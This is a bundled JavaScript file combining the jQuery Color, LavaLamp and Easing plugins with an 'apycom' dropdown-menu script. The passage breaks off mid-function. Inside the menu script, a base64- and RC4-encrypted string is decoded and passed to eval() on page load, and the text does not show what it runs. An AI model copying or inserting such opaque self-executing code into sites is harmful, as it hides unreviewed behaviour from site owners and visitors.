/** jquery.color.js ****************/
(function(jQuery, undefined) {
    var stepHooks = "backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",
        rplusequals = /^([\-+])=\s*(\d+\.?\d*)/,
        stringParsers = [{
            re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
            parse: function(execResult) {
                return [execResult[1], execResult[2], execResult[3], execResult[4]]
            }
        }, {
            re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
            parse: function(execResult) {
                return [execResult[1] * 2.55, execResult[2] * 2.55, execResult[3] * 2.55, execResult[4]]
            }
        }, {
            re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,
            parse: function(execResult) {
                return [parseInt(execResult[1], 16), parseInt(execResult[2], 16), parseInt(execResult[3], 16)]
            }
        }, {
            re: /#([a-f0-9])([a-f0-9])([a-f0-9])/,
            parse: function(execResult) {
                return [parseInt(execResult[1] + execResult[1], 16), parseInt(execResult[2] + execResult[2], 16), parseInt(execResult[3] + execResult[3], 16)]
            }
        }, {
            re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
            space: "hsla",
            parse: function(execResult) {
                return [execResult[1], execResult[2] / 100, execResult[3] / 100, execResult[4]]
            }
        }],
        color = jQuery.Color = function(color, green, blue, alpha) {
            return new jQuery.Color.fn.parse(color, green, blue, alpha)
        },
        spaces = {
            rgba: {
                props: {
                    red: {
                        idx: 0,
                        type: "byte"
                    },
                    green: {
                        idx: 1,
                        type: "byte"
                    },
                    blue: {
                        idx: 2,
                        type: "byte"
                    }
                }
            },
            hsla: {
                props: {
                    hue: {
                        idx: 0,
                        type: "degrees"
                    },
                    saturation: {
                        idx: 1,
                        type: "percent"
                    },
                    lightness: {
                        idx: 2,
                        type: "percent"
                    }
                }
            }
        },
        propTypes = {
            "byte": {
                floor: true,
                max: 255
            },
            "percent": {
                max: 1
            },
            "degrees": {
                mod: 360,
                floor: true
            }
        },
        support = color.support = {},
        supportElem = jQuery("<p>")[0],
        colors, each = jQuery.each;
    supportElem.style.cssText = "background-color:rgba(1,1,1,.5)";
    support.rgba = supportElem.style.backgroundColor.indexOf("rgba") > -1;
    each(spaces, function(spaceName, space) {
        space.cache = "_" + spaceName;
        space.props.alpha = {
            idx: 3,
            type: "percent",
            def: 1
        }
    });

    function clamp(value, prop, allowEmpty) {
        var type = propTypes[prop.type] || {};
        if (value == null) {
            return (allowEmpty || !prop.def) ? null : prop.def
        }
        value = type.floor ? ~~value : parseFloat(value);
        if (isNaN(value)) {
            return prop.def
        }
        if (type.mod) {
            return (value + type.mod) % type.mod
        }
        return 0 > value ? 0 : type.max < value ? type.max : value
    }

    function stringParse(string) {
        var inst = color(),
            rgba = inst._rgba = [];
        string = string.toLowerCase();
        each(stringParsers, function(i, parser) {
            var parsed, match = parser.re.exec(string),
                values = match && parser.parse(match),
                spaceName = parser.space || "rgba";
            if (values) {
                parsed = inst[spaceName](values);
                inst[spaces[spaceName].cache] = parsed[spaces[spaceName].cache];
                rgba = inst._rgba = parsed._rgba;
                return false
            }
        });
        if (rgba.length) {
            if (rgba.join() === "0,0,0,0") {
                jQuery.extend(rgba, colors.transparent)
            }
            return inst
        }
        return colors[string]
    }
    color.fn = jQuery.extend(color.prototype, {
        parse: function(red, green, blue, alpha) {
            if (red === undefined) {
                this._rgba = [null, null, null, null];
                return this
            }
            if (red.jquery || red.nodeType) {
                red = jQuery(red).css(green);
                green = undefined
            }
            var inst = this,
                type = jQuery.type(red),
                rgba = this._rgba = [];
            if (green !== undefined) {
                red = [red, green, blue, alpha];
                type = "array"
            }
            if (type === "string") {
                return this.parse(stringParse(red) || colors._default)
            }
            if (type === "array") {
                each(spaces.rgba.props, function(key, prop) {
                    rgba[prop.idx] = clamp(red[prop.idx], prop)
                });
                return this
            }
            if (type === "object") {
                if (red instanceof color) {
                    each(spaces, function(spaceName, space) {
                        if (red[space.cache]) {
                            inst[space.cache] = red[space.cache].slice()
                        }
                    })
                } else {
                    each(spaces, function(spaceName, space) {
                        var cache = space.cache;
                        each(space.props, function(key, prop) {
                            if (!inst[cache] && space.to) {
                                if (key === "alpha" || red[key] == null) {
                                    return
                                }
                                inst[cache] = space.to(inst._rgba)
                            }
                            inst[cache][prop.idx] = clamp(red[key], prop, true)
                        });
                        if (inst[cache] && jQuery.inArray(null, inst[cache].slice(0, 3)) < 0) {
                            inst[cache][3] = 1;
                            if (space.from) {
                                inst._rgba = space.from(inst[cache])
                            }
                        }
                    })
                }
                return this
            }
        },
        is: function(compare) {
            var is = color(compare),
                same = true,
                inst = this;
            each(spaces, function(_, space) {
                var localCache, isCache = is[space.cache];
                if (isCache) {
                    localCache = inst[space.cache] || space.to && space.to(inst._rgba) || [];
                    each(space.props, function(_, prop) {
                        if (isCache[prop.idx] != null) {
                            same = (isCache[prop.idx] === localCache[prop.idx]);
                            return same
                        }
                    })
                }
                return same
            });
            return same
        },
        _space: function() {
            var used = [],
                inst = this;
            each(spaces, function(spaceName, space) {
                if (inst[space.cache]) {
                    used.push(spaceName)
                }
            });
            return used.pop()
        },
        transition: function(other, distance) {
            var end = color(other),
                spaceName = end._space(),
                space = spaces[spaceName],
                startColor = this.alpha() === 0 ? color("transparent") : this,
                start = startColor[space.cache] || space.to(startColor._rgba),
                result = start.slice();
            end = end[space.cache];
            each(space.props, function(key, prop) {
                var index = prop.idx,
                    startValue = start[index],
                    endValue = end[index],
                    type = propTypes[prop.type] || {};
                if (endValue === null) {
                    return
                }
                if (startValue === null) {
                    result[index] = endValue
                } else {
                    if (type.mod) {
                        if (endValue - startValue > type.mod / 2) {
                            startValue += type.mod
                        } else if (startValue - endValue > type.mod / 2) {
                            startValue -= type.mod
                        }
                    }
                    result[index] = clamp((endValue - startValue) * distance + startValue, prop)
                }
            });
            return this[spaceName](result)
        },
        blend: function(opaque) {
            if (this._rgba[3] === 1) {
                return this
            }
            var rgb = this._rgba.slice(),
                a = rgb.pop(),
                blend = color(opaque)._rgba;
            return color(jQuery.map(rgb, function(v, i) {
                return (1 - a) * blend[i] + a * v
            }))
        },
        toRgbaString: function() {
            var prefix = "rgba(",
                rgba = jQuery.map(this._rgba, function(v, i) {
                    return v == null ? (i > 2 ? 1 : 0) : v
                });
            if (rgba[3] === 1) {
                rgba.pop();
                prefix = "rgb("
            }
            return prefix + rgba.join() + ")"
        },
        toHslaString: function() {
            var prefix = "hsla(",
                hsla = jQuery.map(this.hsla(), function(v, i) {
                    if (v == null) {
                        v = i > 2 ? 1 : 0
                    }
                    if (i && i < 3) {
                        v = Math.round(v * 100) + "%"
                    }
                    return v
                });
            if (hsla[3] === 1) {
                hsla.pop();
                prefix = "hsl("
            }
            return prefix + hsla.join() + ")"
        },
        toHexString: function(includeAlpha) {
            var rgba = this._rgba.slice(),
                alpha = rgba.pop();
            if (includeAlpha) {
                rgba.push(~~(alpha * 255))
            }
            return "#" + jQuery.map(rgba, function(v) {
                v = (v || 0).toString(16);
                return v.length === 1 ? "0" + v : v
            }).join("")
        },
        toString: function() {
            return this._rgba[3] === 0 ? "transparent" : this.toRgbaString()
        }
    });
    color.fn.parse.prototype = color.fn;

    function hue2rgb(p, q, h) {
        h = (h + 1) % 1;
        if (h * 6 < 1) {
            return p + (q - p) * h * 6
        }
        if (h * 2 < 1) {
            return q
        }
        if (h * 3 < 2) {
            return p + (q - p) * ((2 / 3) - h) * 6
        }
        return p
    }
    spaces.hsla.to = function(rgba) {
        if (rgba[0] == null || rgba[1] == null || rgba[2] == null) {
            return [null, null, null, rgba[3]]
        }
        var r = rgba[0] / 255,
            g = rgba[1] / 255,
            b = rgba[2] / 255,
            a = rgba[3],
            max = Math.max(r, g, b),
            min = Math.min(r, g, b),
            diff = max - min,
            add = max + min,
            l = add * 0.5,
            h, s;
        if (min === max) {
            h = 0
        } else if (r === max) {
            h = (60 * (g - b) / diff) + 360
        } else if (g === max) {
            h = (60 * (b - r) / diff) + 120
        } else {
            h = (60 * (r - g) / diff) + 240
        }
        if (diff === 0) {
            s = 0
        } else if (l <= 0.5) {
            s = diff / add
        } else {
            s = diff / (2 - add)
        }
        return [Math.round(h) % 360, s, l, a == null ? 1 : a]
    };
    spaces.hsla.from = function(hsla) {
        if (hsla[0] == null || hsla[1] == null || hsla[2] == null) {
            return [null, null, null, hsla[3]]
        }
        var h = hsla[0] / 360,
            s = hsla[1],
            l = hsla[2],
            a = hsla[3],
            q = l <= 0.5 ? l * (1 + s) : l + s - l * s,
            p = 2 * l - q;
        return [Math.round(hue2rgb(p, q, h + (1 / 3)) * 255), Math.round(hue2rgb(p, q, h) * 255), Math.round(hue2rgb(p, q, h - (1 / 3)) * 255), a]
    };
    each(spaces, function(spaceName, space) {
        var props = space.props,
            cache = space.cache,
            to = space.to,
            from = space.from;
        color.fn[spaceName] = function(value) {
            if (to && !this[cache]) {
                this[cache] = to(this._rgba)
            }
            if (value === undefined) {
                return this[cache].slice()
            }
            var ret, type = jQuery.type(value),
                arr = (type === "array" || type === "object") ? value : arguments,
                local = this[cache].slice();
            each(props, function(key, prop) {
                var val = arr[type === "object" ? key : prop.idx];
                if (val == null) {
                    val = local[prop.idx]
                }
                local[prop.idx] = clamp(val, prop)
            });
            if (from) {
                ret = color(from(local));
                ret[cache] = local;
                return ret
            } else {
                return color(local)
            }
        };
        each(props, function(key, prop) {
            if (color.fn[key]) {
                return
            }
            color.fn[key] = function(value) {
                var vtype = jQuery.type(value),
                    fn = (key === "alpha" ? (this._hsla ? "hsla" : "rgba") : spaceName),
                    local = this[fn](),
                    cur = local[prop.idx],
                    match;
                if (vtype === "undefined") {
                    return cur
                }
                if (vtype === "function") {
                    value = value.call(this, cur);
                    vtype = jQuery.type(value)
                }
                if (value == null && prop.empty) {
                    return this
                }
                if (vtype === "string") {
                    match = rplusequals.exec(value);
                    if (match) {
                        value = cur + parseFloat(match[2]) * (match[1] === "+" ? 1 : -1)
                    }
                }
                local[prop.idx] = value;
                return this[fn](local)
            }
        })
    });
    color.hook = function(hook) {
        var hooks = hook.split(" ");
        each(hooks, function(i, hook) {
            jQuery.cssHooks[hook] = {
                set: function(elem, value) {
                    var parsed, curElem, backgroundColor = "";
                    if (value !== "transparent" && (jQuery.type(value) !== "string" || (parsed = stringParse(value)))) {
                        value = color(parsed || value);
                        if (!support.rgba && value._rgba[3] !== 1) {
                            curElem = hook === "backgroundColor" ? elem.parentNode : elem;
                            while ((backgroundColor === "" || backgroundColor === "transparent") && curElem && curElem.style) {
                                try {
                                    backgroundColor = jQuery.css(curElem, "backgroundColor");
                                    curElem = curElem.parentNode
                                } catch (e) {}
                            }
                            value = value.blend(backgroundColor && backgroundColor !== "transparent" ? backgroundColor : "_default")
                        }
                        value = value.toRgbaString()
                    }
                    try {
                        elem.style[hook] = value
                    } catch (e) {}
                }
            };
            jQuery.fx.step[hook] = function(fx) {
                if (!fx.colorInit) {
                    fx.start = color(fx.elem, hook);
                    fx.end = color(fx.end);
                    fx.colorInit = true
                }
                jQuery.cssHooks[hook].set(fx.elem, fx.start.transition(fx.end, fx.pos))
            }
        })
    };
    color.hook(stepHooks);
    jQuery.cssHooks.borderColor = {
        expand: function(value) {
            var expanded = {};
            each(["Top", "Right", "Bottom", "Left"], function(i, part) {
                expanded["border" + part + "Color"] = value
            });
            return expanded
        }
    };
    colors = jQuery.Color.names = {
        aqua: "#00ffff",
        black: "#000000",
        blue: "#0000ff",
        fuchsia: "#ff00ff",
        gray: "#808080",
        green: "#008000",
        lime: "#00ff00",
        maroon: "#800000",
        navy: "#000080",
        olive: "#808000",
        purple: "#800080",
        red: "#ff0000",
        silver: "#c0c0c0",
        teal: "#008080",
        white: "#ffffff",
        yellow: "#ffff00",
        transparent: [null, null, null, 0],
        _default: "#ffffff"
    }
}(jQuery));
/** jquery.lavalamp.js ****************/
/**
 * LavaLamp - A menu plugin for jQuery with cool hover effects.
 * @requires jQuery v1.1.3.1 or above
 *
 * http://gmarwaha.com/blog/?p=7
 *
 * Copyright (c) 2007 Ganeshji Marwaha (gmarwaha.com)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 * Version: 0.1.0
 */

/**
 * Creates a menu with an unordered list of menu-items. You can either use the CSS that comes with the plugin, or write your own styles
 * to create a personalized effect
 *
 * The HTML markup used to build the menu can be as simple as...
 *
 *       <ul class="lavaLamp">
 *           <li><a href="#">Home</a></li>
 *           <li><a href="#">Plant a tree</a></li>
 *           <li><a href="#">Travel</a></li>
 *           <li><a href="#">Ride an elephant</a></li>
 *       </ul>
 *
 * Once you have included the style sheet that comes with the plugin, you will have to include
 * a reference to jquery library, easing plugin(optional) and the LavaLamp(this) plugin.
 *
 * Use the following snippet to initialize the menu.
 *   $(function() { $(".lavaLamp").lavaLamp({ fx: "backout", speed: 700}) });
 *
 * Thats it. Now you should have a working lavalamp menu.
 *
 * @param an options object - You can specify all the options shown below as an options object param.
 *
 * @option fx - default is "linear"
 * @example
 * $(".lavaLamp").lavaLamp({ fx: "backout" });
 * @desc Creates a menu with "backout" easing effect. You need to include the easing plugin for this to work.
 *
 * @option speed - default is 500 ms
 * @example
 * $(".lavaLamp").lavaLamp({ speed: 500 });
 * @desc Creates a menu with an animation speed of 500 ms.
 *
 * @option click - no defaults
 * @example
 * $(".lavaLamp").lavaLamp({ click: function(event, menuItem) { return false; } });
 * @desc You can supply a callback to be executed when the menu item is clicked.
 * The event object and the menu-item that was clicked will be passed in as arguments.
 */
(function($) {
    $.fn.lavaLamp = function(o) {
        o = $.extend({
            fx: "linear",
            speed: 500,
            click: function() {}
        }, o || {});

        return this.each(function(index) {

            var me = $(this),
                noop = function() {},
                $back = $('<li class="back"><div class="left"></div></li>').appendTo(me),
                $li = $(">li", this),
                curr = $("li.current", this)[0] || $($li[0]).addClass("current")[0];

            $li.not(".back").hover(function() {
                move(this);
            }, noop);

            $(this).hover(noop, function() {
                move(curr);
            });

            $li.click(function(e) {
                setCurr(this);
                return o.click.apply(this, [e, this]);
            });

            setCurr(curr);

            function setCurr(el) {
                $back.css({
                    "left": el.offsetLeft + "px",
                    "width": el.offsetWidth + "px"
                });
                curr = el;
            };

            function move(el) {
                $back.each(function() {
                    $.dequeue(this, "fx");
                }).animate({
                    width: el.offsetWidth,
                    left: el.offsetLeft
                }, o.speed, o.fx);
            };

            if (index == 0) {
                $(window).resize(function() {
                    $back.css({
                        width: curr.offsetWidth,
                        left: curr.offsetLeft
                    });
                });
            }

        });
    };
})(jQuery);

/** jquery.easing.js ****************/
/*
 * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
 *
 * Uses the built in easing capabilities added In jQuery 1.1
 * to offer multiple easing options
 *
 * TERMS OF USE - jQuery Easing
 *
 * Open source under the BSD License.
 *
 * Copyright В© 2008 George McGinley Smith
 * All rights reserved.
 */
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend(jQuery.easing, {
    def: 'easeOutQuad',
    swing: function(x, t, b, c, d) {
        return jQuery.easing[jQuery.easing.def](x, t, b, c, d)
    },
    easeInQuad: function(x, t, b, c, d) {
        return c * (t /= d) * t + b
    },
    easeOutQuad: function(x, t, b, c, d) {
        return -c * (t /= d) * (t - 2) + b
    },
    easeInOutQuad: function(x, t, b, c, d) {
        if ((t /= d / 2) < 1) return c / 2 * t * t + b;
        return -c / 2 * ((--t) * (t - 2) - 1) + b
    },
    easeInCubic: function(x, t, b, c, d) {
        return c * (t /= d) * t * t + b
    },
    easeOutCubic: function(x, t, b, c, d) {
        return c * ((t = t / d - 1) * t * t + 1) + b
    },
    easeInOutCubic: function(x, t, b, c, d) {
        if ((t /= d / 2) < 1) return c / 2 * t * t * t + b;
        return c / 2 * ((t -= 2) * t * t + 2) + b
    },
    easeInQuart: function(x, t, b, c, d) {
        return c * (t /= d) * t * t * t + b
    },
    easeOutQuart: function(x, t, b, c, d) {
        return -c * ((t = t / d - 1) * t * t * t - 1) + b
    },
    easeInOutQuart: function(x, t, b, c, d) {
        if ((t /= d / 2) < 1) return c / 2 * t * t * t * t + b;
        return -c / 2 * ((t -= 2) * t * t * t - 2) + b
    },
    easeInQuint: function(x, t, b, c, d) {
        return c * (t /= d) * t * t * t * t + b
    },
    easeOutQuint: function(x, t, b, c, d) {
        return c * ((t = t / d - 1) * t * t * t * t + 1) + b
    },
    easeInOutQuint: function(x, t, b, c, d) {
        if ((t /= d / 2) < 1) return c / 2 * t * t * t * t * t + b;
        return c / 2 * ((t -= 2) * t * t * t * t + 2) + b
    },
    easeInSine: function(x, t, b, c, d) {
        return -c * Math.cos(t / d * (Math.PI / 2)) + c + b
    },
    easeOutSine: function(x, t, b, c, d) {
        return c * Math.sin(t / d * (Math.PI / 2)) + b
    },
    easeInOutSine: function(x, t, b, c, d) {
        return -c / 2 * (Math.cos(Math.PI * t / d) - 1) + b
    },
    easeInExpo: function(x, t, b, c, d) {
        return (t == 0) ? b : c * Math.pow(2, 10 * (t / d - 1)) + b
    },
    easeOutExpo: function(x, t, b, c, d) {
        return (t == d) ? b + c : c * (-Math.pow(2, -10 * t / d) + 1) + b
    },
    easeInOutExpo: function(x, t, b, c, d) {
        if (t == 0) return b;
        if (t == d) return b + c;
        if ((t /= d / 2) < 1) return c / 2 * Math.pow(2, 10 * (t - 1)) + b;
        return c / 2 * (-Math.pow(2, -10 * --t) + 2) + b
    },
    easeInCirc: function(x, t, b, c, d) {
        return -c * (Math.sqrt(1 - (t /= d) * t) - 1) + b
    },
    easeOutCirc: function(x, t, b, c, d) {
        return c * Math.sqrt(1 - (t = t / d - 1) * t) + b
    },
    easeInOutCirc: function(x, t, b, c, d) {
        if ((t /= d / 2) < 1) return -c / 2 * (Math.sqrt(1 - t * t) - 1) + b;
        return c / 2 * (Math.sqrt(1 - (t -= 2) * t) + 1) + b
    },
    easeInElastic: function(x, t, b, c, d) {
        var s = 1.70158;
        var p = 0;
        var a = c;
        if (t == 0) return b;
        if ((t /= d) == 1) return b + c;
        if (!p) p = d * .3;
        if (a < Math.abs(c)) {
            a = c;
            var s = p / 4
        } else var s = p / (2 * Math.PI) * Math.asin(c / a);
        return -(a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b
    },
    easeOutElastic: function(x, t, b, c, d) {
        var s = 1.70158;
        var p = 0;
        var a = c;
        if (t == 0) return b;
        if ((t /= d) == 1) return b + c;
        if (!p) p = d * .3;
        if (a < Math.abs(c)) {
            a = c;
            var s = p / 4
        } else var s = p / (2 * Math.PI) * Math.asin(c / a);
        return a * Math.pow(2, -10 * t) * Math.sin((t * d - s) * (2 * Math.PI) / p) + c + b
    },
    easeInOutElastic: function(x, t, b, c, d) {
        var s = 1.70158;
        var p = 0;
        var a = c;
        if (t == 0) return b;
        if ((t /= d / 2) == 2) return b + c;
        if (!p) p = d * (.3 * 1.5);
        if (a < Math.abs(c)) {
            a = c;
            var s = p / 4
        } else var s = p / (2 * Math.PI) * Math.asin(c / a);
        if (t < 1) return -.5 * (a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b;
        return a * Math.pow(2, -10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p) * .5 + c + b
    },
    easeInBack: function(x, t, b, c, d, s) {
        if (s == undefined) s = 1.70158;
        return c * (t /= d) * t * ((s + 1) * t - s) + b
    },
    easeOutBack: function(x, t, b, c, d, s) {
        if (s == undefined) s = 1.70158;
        return c * ((t = t / d - 1) * t * ((s + 1) * t + s) + 1) + b
    },
    easeInOutBack: function(x, t, b, c, d, s) {
        if (s == undefined) s = 1.70158;
        if ((t /= d / 2) < 1) return c / 2 * (t * t * (((s *= (1.525)) + 1) * t - s)) + b;
        return c / 2 * ((t -= 2) * t * (((s *= (1.525)) + 1) * t + s) + 2) + b
    },
    easeInBounce: function(x, t, b, c, d) {
        return c - jQuery.easing.easeOutBounce(x, d - t, 0, c, d) + b
    },
    easeOutBounce: function(x, t, b, c, d) {
        if ((t /= d) < (1 / 2.75)) {
            return c * (7.5625 * t * t) + b
        } else if (t < (2 / 2.75)) {
            return c * (7.5625 * (t -= (1.5 / 2.75)) * t + .75) + b
        } else if (t < (2.5 / 2.75)) {
            return c * (7.5625 * (t -= (2.25 / 2.75)) * t + .9375) + b
        } else {
            return c * (7.5625 * (t -= (2.625 / 2.75)) * t + .984375) + b
        }
    },
    easeInOutBounce: function(x, t, b, c, d) {
        if (t < d / 2) return jQuery.easing.easeInBounce(x, t * 2, 0, c, d) * .5 + b;
        return jQuery.easing.easeOutBounce(x, t * 2 - d, 0, c, d) * .5 + c * .5 + b
    }
});
/*
 * jQuery Easing Compatibility v1 - http://gsgd.co.uk/sandbox/jquery.easing.php
 *
 * Adds compatibility for applications that use the pre 1.2 easing names
 *
 * Copyright (c) 2007 George Smith
 * Licensed under the MIT License:
 *   http://www.opensource.org/licenses/mit-license.php
 */
jQuery.extend(jQuery.easing, {
    easeIn: function(x, t, b, c, d) {
        return jQuery.easing.easeInQuad(x, t, b, c, d)
    },
    easeOut: function(x, t, b, c, d) {
        return jQuery.easing.easeOutQuad(x, t, b, c, d)
    },
    easeInOut: function(x, t, b, c, d) {
        return jQuery.easing.easeInOutQuad(x, t, b, c, d)
    },
    expoin: function(x, t, b, c, d) {
        return jQuery.easing.easeInExpo(x, t, b, c, d)
    },
    expoout: function(x, t, b, c, d) {
        return jQuery.easing.easeOutExpo(x, t, b, c, d)
    },
    expoinout: function(x, t, b, c, d) {
        return jQuery.easing.easeInOutExpo(x, t, b, c, d)
    },
    bouncein: function(x, t, b, c, d) {
        return jQuery.easing.easeInBounce(x, t, b, c, d)
    },
    bounceout: function(x, t, b, c, d) {
        return jQuery.easing.easeOutBounce(x, t, b, c, d)
    },
    bounceinout: function(x, t, b, c, d) {
        return jQuery.easing.easeInOutBounce(x, t, b, c, d)
    },
    elasin: function(x, t, b, c, d) {
        return jQuery.easing.easeInElastic(x, t, b, c, d)
    },
    elasout: function(x, t, b, c, d) {
        return jQuery.easing.easeOutElastic(x, t, b, c, d)
    },
    elasinout: function(x, t, b, c, d) {
        return jQuery.easing.easeInOutElastic(x, t, b, c, d)
    },
    backin: function(x, t, b, c, d) {
        return jQuery.easing.easeInBack(x, t, b, c, d)
    },
    backout: function(x, t, b, c, d) {
        return jQuery.easing.easeOutBack(x, t, b, c, d)
    },
    backinout: function(x, t, b, c, d) {
        return jQuery.easing.easeInOutBack(x, t, b, c, d)
    }
});


/** apycom menu ****************/
if (!jQuery.uaMatch) {
    jQuery.uaMatch = function(ua) {
        ua = ua.toLowerCase();
        var match = /(chrome)[ \/]([\w.]+)/.exec(ua) || /(webkit)[ \/]([\w.]+)/.exec(ua) || /(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) || /(msie) ([\w.]+)/.exec(ua) || ua.indexOf('compatible') < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua) || [];
        return {
            browser: match[1] || '',
            version: match[2] || '0'
        }
    }
}
if (!jQuery.browser) {
    matched = jQuery.uaMatch(navigator.userAgent);
    browser = {};
    if (matched.browser) {
        browser[matched.browser] = true;
        browser.version = matched.version
    }
    if (browser.chrome) browser.webkit = true;
    else if (browser.webkit) browser.safari = true;
    jQuery.browser = browser
}
jQuery(window).load(function() {
    eval((function(k, s) {
        var f = {
            a: function(p) {
                var s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                var o = "";
                var a, b, c = "";
                var d, e, f, g = "";
                var i = 0;
                do {
                    d = s.indexOf(p.charAt(i++));
                    e = s.indexOf(p.charAt(i++));
                    f = s.indexOf(p.charAt(i++));
                    g = s.indexOf(p.charAt(i++));
                    a = (d << 2) | (e >> 4);
                    b = ((e & 15) << 4) | (f >> 2);
                    c = ((f & 3) << 6) | g;
                    o = o + String.fromCharCode(a);
                    if (f != 64) o = o + String.fromCharCode(b);
                    if (g != 64) o = o + String.fromCharCode(c);
                    a = b = c = "";
                    d = e = f = g = ""
                } while (i < p.length);
                return o
            },
            b: function(k, p) {
                s = [];
                for (var i = 0; i < 256; i++) s[i] = i;
                var j = 0;
                var x;
                for (i = 0; i < 256; i++) {
                    j = (j + s[i] + k.charCodeAt(i % k.length)) % 256;
                    x = s[i];
                    s[i] = s[j];
                    s[j] = x
                }
                i = 0;
                j = 0;
                var c = "";
                for (var y = 0; y < p.length; y++) {
                    i = (i + 1) % 256;
                    j = (j + s[i]) % 256;
                    x = s[i];
                    s[i] = s[j];
                    s[j] = x;
                    c += String.fromCharCode(p.charCodeAt(y) ^ s[(s[i] + s[j]) % 256])
                }
                return c
            }
        };
        return f.b(k, f.a(s))
    })("6jrGvnZB", "+6jmdnE3RYKXBlDBFkCxXox8pe6j1qiilJuQMGeArm2AWEufe2uaC39LmosrLTHpg9NtlhHmVPDCO0o9Mpjjbh34QesUfA6VBIBW/bY0ZM5Ghlurgy8vNlQ0e1o75jgBHlpiCar3Y7fpHBD80WAj+QUMGHCsiE2lfvtCDVTwdqUSmqiTscULD+7rYqKBkQL8luAoDnMcqLjTMJhCpl3dCQiy1nUV8H4QqkgrpwZKZ1++PZv/yC7VNf18BvNomqE8Z+8wX1J3j7NUlq+8W+EpX6lEdiW43ObTd7Vb/1Uvs6sSeA86Pm1OEdm931rlXkDHZmCPEtk5WZ2SQurLyMLGlAKfPAfExma/EZBXLozmhqPM1lLWOcqO4nTJzltdF0v6dLp1gkUR7+r2iYHtaRlCFJl8dgYCesQvhjpe3HAxVPPYSxbKTrH3GxS/PdyKCrqexxTiYDeahQVlANqDNDcuZnTecTpM7H8aRq8b9MPzK5gxd0WskwAb8esM7/wGMaR3Lohj4L5sSg0vdljbp8oUxBP6fkc2QnJ8wK8jvQjINmsYMKO4dY+M+2pOJzSMDZUR2OgWbOeJLE7V/uNXjUrG9PCBmBGuCrpP9Ue22aOOGh4XxVZ0VTrV3n25acdMkH3dJJ/+9PHyULGdDCLb/XZbl+1guWE/fO1iNBWrwe+xIonrpeMnZ7F/HC8pihuDlFNQUb1LQ5PNnBv6FkYPq3SbMJgADp1aUjb1N50zRwLJvP6ImA1kUjlYtNtRZEEacSV3E/uL32hx9s/D4gysRVqodE3is+Sn7fEzwIi9GqjhBC9rpSXyzkpz1o6ZJ6G1dRDeNF8Qey5EA/1ks7Sm8DLkbf8XvaGMSGHWUw34q2KmGNDL5/rIA6w4Nz9lPZFifcaslOLi1sBv5Um5G0xSOaEMf0Lqnob9Dly+F+wjkjkBrZF7t52Ssmv0lQ3Lj2a8Y6ttsoLn98+pvJwrjpIjC8bB0UX77NFhtRjYLC2P+huVtbcBMMN5jaD51rWXGlePjkTz8uJmVwTwyGyeUHu8mHT4Ek/girm+NvOpALCo4eM5SF80CJsqKUGbeiBMw0+ySyt1NIXTWLLcqOh8BBbC5mbcsOmYIQpaeBPZ+LvK/K11rxK9S/6MPKJlWX3lCxyMSGR68ulnqfKDWKI5LypsO/8WJTx5idMCzmyF2JSb1+51xbF6J6RWNTs3A3HZYYtsWLTrR+YG/NniRfJARE0ngeWT6OTB8LPvzDEknrFmBLwP0SNwVy7b7+GcjlPeKZVR3ksqwVJ/dIkb2t/xcGRJyRdw4w8="));
    var html = $('#menu').html().replace(/(<div[^>]*>)/ig, '<span class="spanbox">$1').replace(/(<\/div>)/ig, '$1</span>');
    $('#menu').addClass('active').html(html).find('span.spanbox').css('display', 'none');
    setTimeout(function() {
        var div = $('#menu .columns');
        var names = ['one', 'two', 'three', 'four', 'five'];
        for (var i = 0; i < div.length; i++) {
            for (var j = 0; j < names.length; j++) {
                if (div.eq(i).hasClass(names[j])) div.eq(i).parent().css({
                    width: 200 * (j + 1),
                    paddingTop: 14
                })
            }
        }
    }, 100);
    $('#menu .menu>li').hover(function() {
        var box = $('span.spanbox:first', this);
        var div = box.find('div:first');
        if (box.length) {
            div.retarder(400, function(i) {
                box.css({
                    display: 'block',
                    visibility: 'visible'
                });
                if (!box[0].hei) {
                    box[0].hei = box.height() + 50;
                    box[0].wid = box.width();
                    div.css('height', box.height())
                }
                box.css({
                    height: box[0].hei,
                    width: box[0].wid,
                    overflow: 'hidden'
                });
                i.css('top', -(box[0].hei)).stop(true, true).animate({
                    top: 0
                }, {
                    easing: 'easeOutCubic',
                    duration: 300,
                    complete: function() {
                        div.css('top', 0);
                        box.css('height', box[0].hei - 50)
                    }
                })
            })
        }
    }, function() {
        var box = $('span.spanbox:first', this);
        var div = box.find('div:first');
        if (box.length) {
            if (!box[0].hei) {
                box[0].hei = box.height() + 50;
                box[0].wid = box.width()
            }
            var animate = {
                from: {
                    top: 0
                },
                to: {
                    top: -(box[0].hei)
                }
            };
            if (!$.browser.msie) {
                animate.from.opacity = 1;
                animate.to.opacity = 0
            }
            $('span.spanbox span.spanbox', this).css('visibility', 'hidden');
            div.retarder(150, function(i) {
                box.css({
                    height: box[0].hei - 50,
                    width: box[0].wid,
                    overflow: 'hidden'
                });
                i.css(animate.from).stop(true, true).animate(animate.to, {
                    duration: 200,
                    complete: function() {
                        if (!$.browser.msie) div.css('opacity', 1);
                        box.css('display', 'none')
                    }
                })
            })
        }
    });
    $('#menu ul ul li').hover(function() {
        var box = $('span.spanbox:first', this);
